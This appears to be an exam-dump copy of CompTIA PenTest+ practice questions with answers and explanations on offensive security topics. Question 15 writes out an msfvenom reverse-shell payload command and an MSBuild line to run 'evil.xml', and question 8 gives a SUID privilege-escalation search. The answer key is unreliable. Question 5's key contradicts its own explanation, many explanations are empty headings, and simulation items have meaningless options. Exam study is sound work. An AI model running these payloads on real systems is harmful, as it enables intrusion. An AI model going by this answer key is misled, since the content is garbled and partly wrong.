Regenerate CompTIA PenTest+ Exam PT0-003 Preparation Exams

NEW QUESTION 1
A penetration tester cannot find information on the target company's systems using common OSINT methods. The tester's attempts to do reconnaissance against internet- facing resources have been blocked by the company's WAF. Which of the following is the best way to avoid the WAF and gather information about the target company's systems?

• A. HTML scraping
• B. Code repository scanning
• C. Directory enumeration
• D. Port scanning

Answer: B

Explanation:
When traditional reconnaissance methods are blocked, scanning code repositories is an effective method to gather information. Here??s why:
✑ Code Repository Scanning:
✑ Comparison with Other Methods:
Scanning code repositories allows gathering a wide range of information that can be critical for further penetration testing effort
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NEW QUESTION 2
A penetration tester is testing a power plant's network and needs to avoid disruption to the grid. Which of the following methods is most appropriate to identify vulnerabilities in the network?

• A. Configure a network scanner engine and execute the scan.
• B. Execute a testing framework to validate vulnerabilities on the devices.
• C. Configure a port mirror and review the network traffic.
• D. Run a network mapper tool to get an understanding of the devices.

Answer: C

Explanation:
When testing a power plant's network and needing to avoid disruption to the grid, configuring a port mirror and reviewing the network traffic is the most appropriate method to identify vulnerabilities without causing disruptions.
✑ Port Mirroring:
✑ Avoiding Disruption:
✑ Other Options:
Pentest References:
✑ Passive Monitoring: Passive techniques such as port mirroring are essential in environments where maintaining operational integrity is critical.
✑ Critical Infrastructure Security: Understanding the need for non-disruptive methods in critical infrastructure penetration testing to ensure continuous operations.
By configuring a port mirror and reviewing network traffic, the penetration tester can identify vulnerabilities in the power plant's network without risking disruption to the grid.
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NEW QUESTION 3
A penetration tester is evaluating a SCADA system. The tester receives local access to a workstation that is running a single application. While navigating through the application, the tester opens a terminal window and gains access to the underlying operating system. Which of the following attacks is the tester performing?

• A. Kiosk escape
• B. Arbitrary code execution
• C. Process hollowing
• D. Library injection

Answer: A

Explanation:
A kiosk escape involves breaking out of a restricted environment, such as a kiosk or a single application interface, to access the underlying operating system. Here??s why option A is correct:
✑ Kiosk Escape: This attack targets environments where user access is intentionally
limited, such as a kiosk or a dedicated application. The goal is to break out of these restrictions and gain access to the full operating system.
✑ Arbitrary Code Execution: This involves running unauthorized code on the system,
but the scenario described is more about escaping a restricted environment.
✑ Process Hollowing: This technique involves injecting code into a legitimate process, making it appear benign while executing malicious activities.
✑ Library Injection: This involves injecting malicious code into a running process by
loading a malicious library, which is not the focus in this scenario.
References from Pentest:
✑ Forge HTB: Demonstrates techniques to escape restricted environments and gain broader access to the system.
✑ Horizontall HTB: Shows methods to break out of limited access environments, aligning with the concept of kiosk escape.
Conclusion:
Option A, Kiosk escape, accurately describes the type of attack where a tester breaks out of a restricted environment to access the underlying operating system.
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NEW QUESTION 4
A penetration tester needs to help create a threat model of a custom application. Which of the following is the most likely framework the tester will use?

• A. MITRE ATT&CK
• B. OSSTMM
• C. CI/CD
• D. DREAD

Answer: D

Explanation:
The DREAD model is a risk assessment framework used to evaluate and prioritize the security risks of an application. It stands for Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability.
✑ Understanding DREAD:
✑ Usage in Threat Modeling:
✑ Process:
✑ References from Pentesting Literature: Step-by-Step ExplanationReferences:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
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NEW QUESTION 5
A penetration tester is working on an engagement in which a main objective is to collect confidential information that could be used to exfiltrate data and perform a ransomware attack. During the engagement, the tester is able to obtain an internal foothold on the target network. Which of the following is the next task the tester should complete to accomplish the objective?

• A. Initiate a social engineering campaign.
• B. Perform credential dumping.
• C. Compromise an endpoint.
• D. Share enumeration.

Answer: D

Explanation:
Given that the penetration tester has already obtained an internal foothold on the target network, the next logical step to achieve the objective of collecting confidential information and potentially exfiltrating data or performing a ransomware attack is to perform credential dumping. Here's why:
✑ Credential Dumping:
✑ Comparison with Other Options:
Performing credential dumping is the most effective next step to escalate privileges and access sensitive data, making it the best choice.
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NEW QUESTION 6
A penetration tester needs to complete cleanup activities from the testing lead. Which of the following should the tester do to validate that reverse shell payloads are no longer running?

• A. Run scripts to terminate the implant on affected hosts.
• B. Spin down the C2 listeners.
• C. Restore the firewall settings of the original affected hosts.
• D. Exit from C2 listener active sessions.

Answer: A

Explanation:
To ensure that reverse shell payloads are no longer running, it is essential to actively terminate any implanted malware or scripts. Here??s why option A is correct:
✑ Run Scripts to Terminate the Implant: This ensures that any reverse shell payloads or malicious implants are actively terminated on the affected hosts. It is a direct and effective method to clean up after a penetration test.
✑ Spin Down the C2 Listeners: This stops the command and control listeners but does not remove the implants from the hosts.
✑ Restore the Firewall Settings: This is important for network security but does not directly address the termination of active implants.
✑ Exit from C2 Listener Active Sessions: This closes the current sessions but does not ensure that implants are terminated.
References from Pentest:
✑ Anubis HTB: Demonstrates the process of cleaning up and ensuring that all implants are removed after an assessment.
✑ Forge HTB: Highlights the importance of thoroughly cleaning up and terminating any payloads or implants to leave the environment secure post-assessment.
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NEW QUESTION 7
Which of the following post-exploitation activities allows a penetration tester to maintain persistent access in a compromised system?

• A. Creating registry keys
• B. Installing a bind shell
• C. Executing a process injection
• D. Setting up a reverse SSH connection

Answer: A

Explanation:
Maintaining persistent access in a compromised system is a crucial goal for a penetration
tester after achieving initial access. Here??s an explanation of each option and why creating registry keys is the preferred method:
✑ Creating registry keys (Answer: A):
✑ Installing a bind shell (Option B):
✑ Executing a process injection (Option C):
✑ Setting up a reverse SSH connection (Option D):
Conclusion: Creating registry keys is the most effective method for maintaining persistent access in a compromised system, particularly in Windows environments, due to its stealthiness and reliability.

NEW QUESTION 8
A penetration tester executes multiple enumeration commands to find a path to escalate privileges. Given the following command:
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
Which of the following is the penetration tester attempting to enumerate?

• A. Attack path mapping
• B. API keys
• C. Passwords
• D. Permission

Answer: D

Explanation:
The command find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null is used to find files with the SUID bit set. SUID (Set User ID) permissions allow a file to be executed with the permissions of the file owner (root), rather than the permissions of the user running the file.
✑ Understanding the Command:
✑ Purpose:
✑ Why Enumerate Permissions:
✑ References from Pentesting Literature: Step-by-Step ExplanationReferences:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
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NEW QUESTION 9
During a web application assessment, a penetration tester identifies an input field that allows JavaScript injection. The tester inserts a line of JavaScript that results in a prompt, presenting a text box when browsing to the page going forward. Which of the following types of attacks is this an example of?

• A. SQL injection
• B. SSRF
• C. XSS
• D. Server-side template injection

Answer: C

Explanation:
Cross-Site Scripting (XSS) is an attack that involves injecting malicious scripts into web pages viewed by other users. Here??s why option C is correct:
✑ XSS (Cross-Site Scripting): This attack involves injecting JavaScript into a web application, which is then executed by the user??s browser. The scenario describes injecting a JavaScript prompt, which is a typical XSS payload.
✑ SQL Injection: This involves injecting SQL commands to manipulate the database and does not relate to JavaScript injection.
✑ SSRF (Server-Side Request Forgery): This attack tricks the server into making requests to unintended locations, which is not related to client-side JavaScript execution.
✑ Server-Side Template Injection: This involves injecting code into server-side templates, not JavaScript that executes in the user??s browser.
References from Pentest:
✑ Horizontall HTB: Demonstrates identifying and exploiting XSS vulnerabilities in web applications.
✑ Luke HTB: Highlights the process of testing for XSS by injecting scripts and observing their execution in the browser.
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NEW QUESTION 10
SIMULATION
A penetration tester has been provided with only the public domain name and must enumerate additional information for the public-facing assets.
INSTRUCTIONS

• A. Yes
• B. Not Mastered

Answer: A

NEW QUESTION 11
A penetration tester identifies an exposed corporate directory containing first and last names and phone numbers for employees. Which of the following attack techniques would be the most effective to pursue if the penetration tester wants to compromise user accounts?

• A. Smishing
• B. Impersonation
• C. Tailgating
• D. Whaling

Answer: A

Explanation:
When a penetration tester identifies an exposed corporate directory containing first and last names and phone numbers, the most effective attack technique to pursue would be smishing. Here's why:
✑ Understanding Smishing:
✑ Why Smishing is Effective:
✑ Alternative Attack Techniques:
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NEW QUESTION 12
SIMULATION
You are a penetration tester running port scans on a server.
INSTRUCTIONS
Part 1: Given the output, construct the command that was used to generate this output from the available options.
Part 2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

• A. Yes
• B. Not Mastered

Answer: A

NEW QUESTION 13
A penetration tester assesses a complex web application and wants to explore potential security weaknesses by searching for subdomains that might have existed in the past. Which of the following tools should the penetration tester use?

• A. Censys.io
• B. Shodan
• C. Wayback Machine
• D. SpiderFoot

Answer: C

Explanation:
The Wayback Machine is an online tool that archives web pages over time, allowing users
to see how a website looked at various points in its history. This can be extremely useful for penetration testers looking to explore potential security weaknesses by searching for subdomains that might have existed in the past.
✑ Accessing the Wayback Machine:
✑ Navigating Archived Pages:
✑ Identifying Subdomains:
✑ Tool Integration:
✑ Real-World Example:
✑ References from Pentesting Literature: Step-by-Step ExplanationReferences:
✑ HTB Official Writeups
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NEW QUESTION 14
During a vulnerability assessment, a penetration tester configures the scanner sensor and performs the initial vulnerability scanning under the client's internal network. The tester later discusses the results with the client, but the client does not accept the results. The client indicates the host and assets that were within scope are not included in the vulnerability scan results. Which of the following should the tester have done?

• A. Rechecked the scanner configuration.
• B. Performed a discovery scan.
• C. Used a different scan engine.
• D. Configured all the TCP ports on the scan.

Answer: B

Explanation:
When the client indicates that the scope's hosts and assets are not included in the vulnerability scan results, it suggests that the tester may have missed discovering all the devices in the scope. Here??s the best course of action:
✑ Performing a Discovery Scan:
✑ Comparison with Other Actions:
Performing a discovery scan ensures that all in-scope devices are identified and included in the vulnerability assessment, making it the best course of action.
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NEW QUESTION 15
A tester plans to perform an attack technique over a compromised host. The tester prepares a payload using the following command:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1 LPORT=10112 -f csharp
The tester then takes the shellcode from the msfvenom command and creates a file called evil.xml. Which of the following commands would most likely be used by the tester to continue with the attack on the host?

• A. regsvr32 /s /n /u C:\evil.xml
• B. MSBuild.exe C:\evil.xml
• C. mshta.exe C:\evil.xml
• D. AppInstaller.exe C:\evil.xml

Answer: B

Explanation:
The provided msfvenom command creates a payload in C# format. To continue the attack using the generated shellcode in evil.xml, the most appropriate execution method involves MSBuild.exe, which can process XML files containing C# code:
✑ Understanding MSBuild.exe:
✑ Command Usage:
✑ Comparison with Other Commands:
Using MSBuild.exe is the most appropriate method to execute the payload embedded in the XML file created by msfvenom.
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NEW QUESTION 16
In a cloud environment, a security team discovers that an attacker accessed confidential information that was used to configure virtual machines during their initialization. Through which of the following features could this information have been accessed?

• A. IAM
• B. Block storage
• C. Virtual private cloud
• D. Metadata services

Answer: D

Explanation:
Metadata services in cloud environments provide information about the configuration and instance details, including sensitive data used during the initialization of virtual machines. Attackers can access this information to exploit and gain unauthorized access.
✑ Understanding Metadata Services:
✑ Common Information Exposed:
✑ Security Risks:
✑ Best Practices:
✑ References from Pentesting Literature: Step-by-Step ExplanationReferences:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
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NEW QUESTION 17
A tester runs an Nmap scan against a Windows server and receives the following results:
Nmap scan report for win_dns.local (10.0.0.5) Host is up (0.014s latency)
Port State Service 53/tcp open domain 161/tcp open snmp 445/tcp open smb-ds 3389/tcp open rdp
Which of the following TCP ports should be prioritized for using hash-based relays?

• A. 53
• B. 161
• C. 445
• D. 3389

Answer: C

Explanation:
Port 445 is used for SMB (Server Message Block) services, which are commonly targeted for hash-based relay attacks like NTLM relay attacks.
✑ Understanding Hash-Based Relays:
✑ Prioritizing Port 445:
✑ Execution:
✑ References from Pentesting Literature: Step-by-Step ExplanationReferences:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
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NEW QUESTION 18
Which of the following components should a penetration tester include in an assessment report?

• A. User activities
• B. Customer remediation plan
• C. Key management
• D. Attack narrative

Answer: D

Explanation:
An attack narrative provides a detailed account of the steps taken during the penetration test, including the methods used, vulnerabilities exploited, and the outcomes of each attack. This helps stakeholders understand the context and implications of the findings.
✑ Components of an Assessment Report:
✑ Importance of Attack Narrative:
✑ References from Pentesting Literature: Step-by-Step ExplanationReferences:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
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NEW QUESTION 19
Which of the following describes the process of determining why a vulnerability scanner is not providing results?

• A. Root cause analysis
• B. Secure distribution
• C. Peer review
• D. Goal reprioritization

Answer: A

Explanation:
Root cause analysis involves identifying the underlying reasons why a problem is occurring. In the context of a vulnerability scanner not providing results, performing a root cause analysis would help determine why the scanner is failing to deliver the expected output. Here??s why option A is correct:
✑ Root Cause Analysis: This is a systematic process used to identify the fundamental reasons for a problem. It involves investigating various potential causes and pinpointing the exact issue that is preventing the vulnerability scanner from working correctly.
✑ Secure Distribution: This refers to the secure delivery and distribution of software or updates, which is not relevant to troubleshooting a vulnerability scanner.
✑ Peer Review: This involves evaluating work by others in the same field to ensure quality and accuracy, but it is not directly related to identifying why a tool is malfunctioning.
✑ Goal Reprioritization: This involves changing the priorities of goals within a project, which does not address the technical issue of the scanner not working.
References from Pentest:
✑ Horizontall HTB: Demonstrates the process of troubleshooting and identifying issues with tools and their configurations to ensure they work correctly.
✑ Writeup HTB: Emphasizes the importance of thorough analysis to understand why certain security tools may fail during an assessment.
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NEW QUESTION 20
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